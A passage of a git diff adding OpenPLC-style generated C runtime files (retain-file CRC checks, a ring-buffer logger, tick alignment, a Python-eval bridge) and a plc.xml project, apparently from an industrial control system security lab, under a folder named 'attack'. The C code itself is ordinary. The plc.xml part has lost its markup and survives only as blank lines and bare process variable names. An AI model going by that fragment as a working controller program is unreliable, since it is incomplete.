0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + 